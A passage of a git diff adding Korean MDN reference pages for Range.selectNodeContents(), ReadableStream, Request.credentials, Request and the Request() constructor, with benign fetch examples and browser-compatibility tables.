+ <li><a href="https://developer.mozilla.org/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ko/web/api/range/selectnodecontents/index.html b/files/ko/web/api/range/selectnodecontents/index.html
new file mode 100644
index 0000000000..380d600622
--- /dev/null
+++ b/files/ko/web/api/range/selectnodecontents/index.html
@@ -0,0 +1,68 @@
+---
+title: Range.selectNodeContents()
+slug: Web/API/Range/selectNodeContents
+tags:
+ - API
+ - DOM
+ - Method
+ - Range
+translation_of: Web/API/Range/selectNodeContents
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>Range.selectNodeContents()</code></strong>는 {{domxref("Node")}}의 내용을 포함하는 {{domxref("Range")}}를 설정합니다.</p>
+
+<p>부모 {{ domxref("Node") }} 의 start, end 값이 Reference가 됩니다. <code>startOffset</code> 은 0이고, <code>endOffset</code> 은 Child Node의 수 혹은 Reference Node에 포함되어 있는 Child Node의 수가 됩니다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox"><em>range</em>.selectNodeContents(<em>referenceNode</em>);
+</pre>
+
+<h3 id="Parameters" name="Parameters">매개변수</h3>
+
+<dl>
+ <dt><code><em>referenceNode</em></code></dt>
+ <dd>{{ domxref("Range") }} 로 선택될 내용의 {{ domxref("Node") }} </dd>
+</dl>
+
+<h2 id="Example" name="Example">예제</h2>
+
+<pre class="brush: js">range = document.createRange();
+referenceNode = document.getElementsByTagName("div")[0];
+range.selectNodeContents(referenceNode);
+</pre>
+
+<h2 id="Specification" name="Specification">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM WHATWG', '#dom-range-selectnodecontents', 'Range.selectNodeContents()')}}</td>
+ <td>{{Spec2('DOM WHATWG')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('DOM2 Traversal_Range', 'ranges.html#Level2-Range-method-selectNodeContents', 'Range.selectNodeContents()')}}</td>
+ <td>{{Spec2('DOM2 Traversal_Range')}}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Range.selectNodeContents")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/DOM_Reference" title="/en-US/docs/DOM/DOM_Reference">The DOM interfaces index</a></li>
+</ul>
diff --git a/files/ko/web/api/readablestream/index.html b/files/ko/web/api/readablestream/index.html
new file mode 100644
index 0000000000..6ad5bd8139
--- /dev/null
+++ b/files/ko/web/api/readablestream/index.html
@@ -0,0 +1,105 @@
+---
+title: ReadableStream
+slug: Web/API/ReadableStream
+translation_of: Web/API/ReadableStream
+---
+<p>{{APIRef("Streams")}}</p>
+
+<p><span class="seoSummary"><a href="https://developer.mozilla.org/ko/docs/Web/API/Streams_API">Streams API</a>의 <code>ReadableStream</code> 인터페이스는 바이트 데이터를 읽을수 있는 스트림을 제공합니다. <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>는 Response 객체의 body 속성을 통하여 <code>ReadableStream</code>의 구체적인 인스턴스를 제공합니다.</span></p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.ReadableStream", "ReadableStream()")}}</dt>
+ <dd>읽을수 있는 스트림 객체를 생성하고 리턴합니다.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.locked")}} {{readonlyInline}}</dt>
+ <dd><code>locked</code>는 Readable stream이 reader에 고정되어 있는지(<a href="https://streams.spec.whatwg.org/#locked-to-a-reader">locaked to a reader</a>) 확인하는 getter 입니다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("ReadableStream.cancel()")}}</dt>
+ <dd>
+ <p>스트림을 취소하여, 소비자가 스트림에 대해 관심이 없음을 알립니다. The supplied reason argument will be given to the underlying source, which may or may not use it.</p>
+ </dd>
+ <dt>{{domxref("ReadableStream.getReader()")}}</dt>
+ <dd>Reader를 만들고 스트림을 그 Reader에 고정 시킵니다. 스트림이 고정되어 있는 동안에는 다른 Reader를 얻을수 없습니다.</dd>
+ <dt>{{domxref("ReadableStream.pipeThrough()")}}</dt>
+ <dd>Provides a chainable way of piping the current stream through a transform stream or any other writable/readable pair.</dd>
+ <dt>{{domxref("ReadableStream.pipeTo()")}}</dt>
+ <dd>
+ <p>인자로 넘기는 {{domxref("WritableStream")}}과 현재의 ReadableStream을 연결하고 프로미스를 리턴합니다. 이 프로미스는 파이핑 프로세스가 성공적으로 완료될때 fullfil되며 애러가 발생했을때 reject됩니다.</p>
+ </dd>
+ <dt>{{domxref("ReadableStream.tee()")}}</dt>
+ <dd>The <code>tee</code> method <a href="https://streams.spec.whatwg.org/#tee-a-readable-stream" id="ref-for-tee-a-readable-stream②">tees</a> this readable stream, returning a two-element array containing the two resulting branches as new {{domxref("ReadableStream")}} instances. Each of those streams receives the same incoming data.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>아래 예시에서, 다른 리소스에서 fetch된 HTML 조각들을 스트림 하기위해 가공의 {{domxref("Response")}}를 만듭니다. 이것은{{domxref("Uint8Array")}}로 구성된 {{domxref("ReadableStream")}} 의 사용법을 보여줍니다.</p>
+
+<pre class="brush: js">fetch("https://www.example.org/").then((response) =&gt; {
+  const reader = response.body.getReader();
+  const stream = new ReadableStream({
+  start(controller) {
+  // 아래 함수는 각 data chunck를 다룬다.
+  function push() {
+  // "done"은 Boolean 이며 value는 "Uint8Array 이다."
+  reader.read().then(({ done, value }) =&gt; {
+  // 더이상 읽은 데이터가 없는가?
+  if (done) {
+  // 브라우저에게 데이터 전달이 끝났다고 알린다.
+  controller.close();
+  return;
+  }
+
+  // 데이터를 얻고 컨트롤러를 통하여 그 데이터를 브라우저에 넘긴다.
+  controller.enqueue(value);
+ push();
+  });
+  };
+
+  push();
+  }
+  });
+
+  return new Response(stream, { headers: { "Content-Type": "text/html" } });
+});
+</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Streams','#rs-class','ReadableStream')}}</td>
+ <td>{{Spec2('Streams')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.ReadableStream")}}</p>
+</div>
+
+<h2 id="See_Also">See Also</h2>
+
+<ul>
+ <li><a href="https://whatwg-stream-visualizer.glitch.me/">WHATWG Stream Visualiser</a>, for a basic visualisation of readable, writable, and transform streams.</li>
+</ul>
diff --git a/files/ko/web/api/request/credentials/index.html b/files/ko/web/api/request/credentials/index.html
new file mode 100644
index 0000000000..ed7186a6d9
--- /dev/null
+++ b/files/ko/web/api/request/credentials/index.html
@@ -0,0 +1,70 @@
+---
+title: Request.credentials
+slug: Web/API/Request/credentials
+tags:
+ - API
+ - Cookies
+ - Fetch
+ - Networking
+ - Property
+ - Reference
+ - Security
+ - credentials
+ - request
+translation_of: Web/API/Request/credentials
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>{{domxref("Request")}} 인터페이스의 <strong><code>credentials</code></strong> 읽기 전용 속성은 cross-origin 요청의 경우, user agent가 다른 도메인으로부터 cookie 들을 전달해야만 하는가 아닌가를 나타낸다. 이것은 XHR 의 withCredentials flag 과 비슷하지만, (2개가 아니라) 3가지 값이 사용 가능하다 :</p>
+
+<ul>
+ <li><code>omit</code>: 절대로 cookie 들을 전송하거나 받지 않는다.</li>
+ <li><code>same-origin</code>: URL이 호출 script 와 동일 출처(same origin)에 있다면, user credentials (cookies, basic http auth 등..)을 전송한다. <strong>이것은 default 값이다.</strong></li>
+ <li><code>include</code>: cross-origin 호출이라 할지라도 언제나 user credentials (cookies, basic http auth 등..)을 전송한다.</li>
+</ul>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myCred = request.credentials;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>이 transaction에 사용할 credentials 를 나타내는 {{domxref("RequestCredentials")}} 값</p>
+
+<h2 id="Example">Example</h2>
+
+<p>다음의 snippet 에서, 우리는 {{domxref("Request.Request()")}} constructor 를 사용하여 (스크립트와 동일한 디렉토리의 이미지 파일을 위한) 새로운 요청(request)를 생성하고, 변수에 요청(request) credentials 을 저장한다.</p>
+
+<pre class="brush: js">var myRequest = new Request('flowers.jpg');
+var myCred = myRequest.credentials; // returns "same-origin" by default</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#dom-request-credentials','credentials')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Request.credentials")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/request/index.html b/files/ko/web/api/request/index.html
new file mode 100644
index 0000000000..73eae676e6
--- /dev/null
+++ b/files/ko/web/api/request/index.html
@@ -0,0 +1,293 @@
+---
+title: Request
+slug: Web/API/Request
+translation_of: Web/API/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p><a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a>의 <strong><code>Request</code></strong>는 리퀘스트 리소스를 표현해주는 인터페이스입니다. </p>
+
+<p>{{domxref("Request.Request()")}} 생성자 메서드를 사용하는 것으로, 새로운 <code>Request</code>오브젝트를 생성할 수 있습니다. 이 인터페이스는 그리 자주 사용되지 않는 것으로 service worker의 {{domxref("FetchEvent.request")}}와 같은 별개의 API와 만나는 경우가 더 잦을 것입니다.</p>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Request.Request()")}}</dt>
+ <dd>새로운 <code>Request</code> 객체를 생성합니다.</dd>
+</dl>
+
+<h2 id="프로퍼티">프로퍼티</h2>
+
+<dl>
+ <dt>{{domxref("Request.method")}} {{readonlyInline}}</dt>
+ <dd>Request 메서드 (<code>GET</code>, <code>POST</code> 같은것들)을 포함합니다.</dd>
+ <dt>{{domxref("Request.url")}} {{readonlyInline}}</dt>
+ <dd>Request의 URL을 포함합니다.</dd>
+ <dt>{{domxref("Request.headers")}} {{readonlyInline}}</dt>
+ <dd>Request의 {{domxref("Headers")}}와 관련된 정보를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.context")}} {{readonlyInline}} {{deprecated_inline()}}</dt>
+ <dd>리퀘스트의 컨텍스트 (예: <code>audio</code>, <code>image</code>, <code>iframe</code>)을 포함하고 잇습니다.</dd>
+ <dt>{{domxref("Request.referrer")}} {{readonlyInline}}</dt>
+ <dd>리퀘스트의 referrer 정보 (예:<code>client</code>)을 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.referrerPolicy")}} {{readonlyInline}}</dt>
+ <dd>Request의 referrer policy 정보 (예: <code>no-referrer</code>)를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.mode")}} {{readonlyInline}}</dt>
+ <dd>Request의 모드를 (예: <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, <code>navigate</code>) 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.credentials")}} {{readonlyInline}}</dt>
+ <dd>Request의 자격 증명서(credentials)  (예: <code>omit</code>, <code>same-origin</code>)를 포함하고 있습니다.</dd>
+ <dt>{{domxref("Request.redirect")}} {{readonlyinline}}</dt>
+ <dd>Request의 처리 방법을 위한 모드 (예: <code>follow</code>, <code>error</code>, or <code>manual</code>)를 포함합니다.</dd>
+ <dt>{{domxref("Request.integrity")}} {{readonlyInline}}</dt>
+ <dd>리퀘스트의 <a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a> 해쉬값(예:<code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>)을 포함합니다.</dd>
+ <dt>{{domxref("Request.cache")}} {{readonlyInline}}</dt>
+ <dd>Request의 캐시모드를 (예: <code>default</code>, <code>reload</code>, <code>no-cache</code>) 포함합니다.</dd>
+</dl>
+
+<p><code>Request</code>는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.</p>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("ReadableStream")}}을 바디 컨텐츠로 가져올 수 있는 간단한 게터 프로퍼티입니다.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>Response에서 바디가 사용되었는가의 여부를 {{domxref("Boolean")}} 형태로 표시합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Request.clone()")}}</dt>
+ <dd><code>Request</code>의 복사본을 생성합니다.</dd>
+</dl>
+
+<p><code>Request</code>는 {{domxref("Body")}}를 구현하고 있으므로 다음 프로퍼티 또한 사용 가능합니다.</p>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>{{domxref("ArrayBuffer")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>{{domxref("Blob")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>{{domxref("FormData")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>{{domxref("JSON")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>{{domxref("USVString")}}에 대한 결정(resolve 상태인 Promise객체가 반환됩니다.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Body")}} 함수는 한번밖에 실행할 수 없습니다. 두번째부터는 빈 문자열, 혹은 ArrayBuffer이 반환됩니다.</p>
+</div>
+
+<h2 id="예시">예시</h2>
+
+<p>다음의 예시들은 Request를 이용해 스크립트와 같은 디렉터리에 존재하는 사진의 여러가지 정보를 불러오는 방법입니다. <code>Request()</code> 생성자를 사용하여 새로운 Request를 생성하여 몇몇 몇 프로퍼티를 반환합니다.</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/flowers.jpg');
+
+const myURL = myRequest.url; // http://localhost/flowers.jpg
+const myMethod = myRequest.method; // GET
+const myCred = myRequest.credentials; // omit
+</pre>
+
+<p>{{domxref("GlobalFetch.fetch()")}}의 매개변수에 Request 객체를 전달하는것으로 then 파라미터를 이끌어낼 수 있습니다. 아래는 그에대한 예시입니다.</p>
+
+<pre class="brush: js">fetch(myRequest)
+  .then(response =&gt; response.blob())
+ .then(blob =&gt; {
+ myImage.src = URL.createObjectURL(blob);
+ });</pre>
+
+<p>아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터 및 본문 내용이 포함 된새 요청을 만듭니다.</p>
+
+<p> </p>
+
+<p>아래는 Body Payload가 필요한 API 요청을 다루는 예시입니다.  Request() 생성자를 사용하여 초기 데이터와 Body의 컨텐츠를 읽어올 수 있습니다.</p>
+
+<pre class="brush: js">const myRequest = new Request('http://localhost/api', {method: 'POST', body: '{"foo":"bar"}'});
+
+const myURL = myRequest.url; // http://localhost/api
+const myMethod = myRequest.method; // POST
+const myCred = myRequest.credentials; // omit
+const bodyUsed = myRequest.bodyUsed; // true
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> Body의 타입은 {{domxref("Blob")}}, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}} 혹은 {{domxref("ReadableStream")}}로만 올 수 있습니다.  따라서 payload에 JSON객체를 추가하려면 해당 객체를 문자열로 지정할 수 있습니다.</p>
+</div>
+
+<p>그런 다음 Request 객체를 매개 변수로 {{domxref("GlobalFetch.fetch()")}} 호출에 전달하여 api 요청을 가져와 응답을 얻을 수 있습니다. 아래는 예시입니다.</p>
+
+<pre class="brush: js">fetch(myRequest)
+ .then(response =&gt; {
+ if (response.status === 200) {
+  return response.json();
+ } else {
+  throw new Error('Something went wrong on api server!');
+ }
+ })
+ .then(response =&gt; {
+ console.debug(response);
+  // ...
+ }).catch(error =&gt; {
+  console.error(error);
+ });</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#request-class','Request')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원">브라우저 지원</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>기본 지원</td>
+ <td>{{CompatChrome(42)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(39)}}<br>
+ 34</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(28)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.body.formData</code></td>
+ <td>{{CompatChrome(60)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(47)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.integrity</code></td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.redirect</code></td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Constructor <code>init</code> can accept <code>ReadableStream</code> <code>body</code></td>
+ <td>{{CompatChrome(43)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Android Webview</th>
+ <th>Chrome for Android</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Phone</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>기본 지원</td>
+ <td>{{CompatChrome(42)}}</td>
+ <td>{{CompatChrome(42)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(28)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.body.formData</code></td>
+ <td>{{CompatChrome(60)}}</td>
+ <td>{{CompatChrome(60)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(47)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.integrity</code></td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td><code>Request.redirect</code></td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatChrome(46)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ <tr>
+ <td>Constructor <code>init</code> can accept <code>ReadableStream</code> <code>body</code></td>
+ <td>{{CompatChrome(43)}}</td>
+ <td>{{CompatChrome(43)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatNo}}<sup>[1]</sup></td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOperaMobile(33)}}</td>
+ <td>{{CompatNo}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] 읽기전용 스트림은 파이어폭스에서 사용 가능하며, <code>dom.streams.enabled</code>와 <code>javascript.options.streams</code> 설정에 숨어있습니다.</p>
+
+<h2 id="관련항목">관련항목</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/request/request/index.html b/files/ko/web/api/request/request/index.html
new file mode 100644
index 0000000000..0eab065ff9
--- /dev/null
+++ b/files/ko/web/api/request/request/index.html
@@ -0,0 +1,214 @@
+---
+title: Request()
+slug: Web/API/Request/Request
+translation_of: Web/API/Request/Request
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p><code><strong>Request()</strong></code> 생성자는 새로운  {{domxref("Request")}} 객체를 생성하도록 도와줍니다.</p>
+
+<h2 id="문법">문법</h2>
+
+<pre class="syntaxbox">var myRequest = new Request(input, init);</pre>
+
+<h3 id="파라미터">파라미터</h3>
+
+<dl>
+ <dt><em>input</em></dt>
+ <dd>취득한 리소스를 정의합니다. 이하의 값을 파라미터로 넣을 수 있습니다.
+ <ul>
+ <li>취득하고 싶은 리소스의 URL을 담은 {domxref("USVString")}}.</li>
+ <li>Request 객체의 클론 생성을 위해 입력할 {{domxref("Request")}} 객체. 기존의 request 객체로 새로운 동일한 객체를 생성할때, 다음과 같은 보안에 관련된 예외가 검출될 수 있습니다.</li>
+ </ul>
+ </dd>
+ <dt><em>init</em> {{optional_inline}}</dt>
+ <dd>리퀘스트를 적용할 커스텀 설정을 포함한 옵션오브젝트. 설정 가능한 옵션은 다음과 같습니다.
+ <ul>
+ <li><code>method</code>: <code>GET</code>, <code>POST</code>과 같은 리퀘스트 메소드.</li>
+ <li><code>headers</code>: {{domxref("Headers")}}객체 또는 {{domxref("ByteString")}}를 포함하는 리퀘스트에 추가하는 헤더.</li>
+ <li><code>body</code>: 리퀘스트에 추가할 바디.  {{domxref("Blob")}}이나, {{domxref("BufferSource")}}, {{domxref("FormData")}}, {{domxref("URLSearchParams")}}, {{domxref("USVString")}}, 또한 {{domxref("ReadableStream")}} 객체를 사용할 수 있습니다.Request객체가 GET이나 HEAD메서드를 사용하는 경우, 바디를 포함하지 않습니다.</li>
+ <li><code>mode</code>: Request에서 사용할 모드. <code>cors</code>, <code>no-cors</code>, <code>same-origin</code>, 또한 <code>navigate</code>이 사용 가능하며, 기본값은 <code>cors</code>입니다. 47버전 이전의 크롬에서는 기본값이 <code>no-cors</code> 이며 크롬 47버전 이후로 <code>same-origin</code>가 사용 가능하게 되었습니다.</li>
+ <li><code>credentials</code>: Request에서 사용할 자격 증명서(Request Credential)입니다.<code>omit</code>, <code>same-origin</code>, 또는 <code>include</code>를 사용할 수 있습니다.기본값은 <code>omit</code>.이며, 크롬 47 이전의 기본값은 <code>same-origin</code> 입니다. 크롬 47 이후로부터<code>include</code>가 사용 가능하게 되었습니다.</li>
+ <li><code>cache</code>: Request에서 사용할 <a href="/en-US/docs/Web/API/Request/cache">cache mode</a> 입니다.</li>
+ <li><code>redirect</code>: Request에서 사용할 리다이렉트 모드입니다. <code>follow</code>, <code>error</code>, <code>manual</code>.이 사용 가능합니다. 크롬 47 이전 버전에서의 기본값은 <code>manual</code> 이며, 47 이후로부터 <code>follow</code> 가 사용 가능하게 되었습니다.</li>
+ <li><code>referrer</code>: <code>no-referrer</code>나 <code>client</code>, URL을 지정하는 {{domxref("USVString")}}입니다.. 기본값은 <code>client</code>입니다.</li>
+ <li><code>integrity</code>: <code>sha256-BpfBw7ivV8q2jLiT13fxDYAe2tJllusRSZ273h2nFSE=</code>같은 Request의 하위 리소스 무결성(<a href="/en-US/docs/Web/Security/Subresource_Integrity">subresource integrity</a>) 값을 포함합니다.</li>
+ </ul>
+ </dd>
+</dl>
+
+<h2 id="에러">에러</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col"><strong>타입</strong></th>
+ <th scope="col"><strong>내용</strong></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>TypeError</code></td>
+ <td><a href="/en-US/docs/Mozilla/Firefox/Releases/43">Firefox 43</a>부터, http://user:password@example.com와 같인 credential을 포함하는 경우 <code>Request()</code> 는 타입 에러를 반환합니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예시">예시</h2>
+
+<p> </p>
+
+<p><a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request">Fetch Request example</a>에서는, 생성자를 사용해 새로운 Requst 객체를 생성하고 나서 {{domxref("GlobalFetch.fetch")}}인터페이스를 이용해 Request로 읽어온 결과를 취득하고 있습니다. 특정 사진을 가져와서 사용할 수 있게 만들기 위해서  MIME타입을 설정하고, Response의 {{domxref("Body.blob")}}를 반환합니다. 그 후로 오브젝트 URL을 생성해 {{htmlelement("img")}}요소를 표시하도록 합니다. <a href="http://mdn.github.io/fetch-examples/fetch-request/">Fetch Request live</a>를 참고해주시기 바랍니다.</p>
+
+<pre>var myImage = document.querySelector('img');
+
+var myRequest = new Request('flowers.jpg');
+
+fetch(myRequest).then(function(response) {
+ return response.blob();
+}).then(function(response) {
+ var objectURL = URL.createObjectURL(response);
+ myImage.src = objectURL;
+});</pre>
+
+<p><a href="https://github.com/mdn/fetch-examples/tree/gh-pages/fetch-request-with-init">Fetch Request with init example</a>에서는 <font face="Courier New">fetch()를 실행할 때 마다, </font>init객체를 전달하는 것 이외에는 거의 동일한 기능을 수행합니다. <a href="http://mdn.github.io/fetch-examples/fetch-request-with-init/">Fetch Request init live </a>를 참조해주시기 바랍니다.</p>
+
+<pre>var myImage = document.querySelector('img');
+
+var myHeaders = new Headers();
+myHeaders.append('Content-Type', 'image/jpeg');
+
+var myInit = { method: 'GET',
+ headers: myHeaders,
+ mode: 'cors',
+ cache: 'default' };
+
+var myRequest = new Request('flowers.jpg',myInit);
+
+fetch(myRequest).then(function(response) {
+ ...
+});</pre>
+
+<p>동일한 효과를 얻기 위해 fetch 호출자에 init객체를 전달하는 것에 주목해주시기 바랍니다. 예를 들면...</p>
+
+<pre>fetch(myRequest,myInit).then(function(response) {
+  ...
+});</pre>
+
+<p>Request 객체ㅡ이 클론을 생성하기 위해서 <code>Request()</code> 생성자에 {{domxref("Request")}} 를 전달하고 있습니다.(이것은  {{domxref("Request.clone","clone()")}} 메서드의 호출자와 같습니다.)</p>
+
+<pre>var copy = new Request(myRequest);
+</pre>
+
+<p><strong>노트</strong>:마지막의 예시는 <a href="/ja/docs/Web/API/ServiceWorker_API">ServiceWorkers</a>안에서만 사용 가능합니다。</p>
+
+<h2 id="사용">사용</h2>
+
+<table>
+ <tbody>
+ <tr>
+ <th scope="col">사용</th>
+ <th scope="col">상태</th>
+ <th scope="col">꼬릿말</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#dom-request','Request()')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_지원현황">브라우저 지원현황</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<table>
+ <tbody>
+ <tr>
+ <th>기능</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>기본 서포트</td>
+ <td>{{ CompatChrome(42.0) }} [1]<br>
+  </td>
+ <td>{{ CompatGeckoDesktop(39)}} [2]</td>
+ <td>{{ CompatNo }}</td>
+ <td>
+ <p>29 [3]</p>
+ </td>
+ <td>{{ CompatNo }}</td>
+ </tr>
+ <tr>
